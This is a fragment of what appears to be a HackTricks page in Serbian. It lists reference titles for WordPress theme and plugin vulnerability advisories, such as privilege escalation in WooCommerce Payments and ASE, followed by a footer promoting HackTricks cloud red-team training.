- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.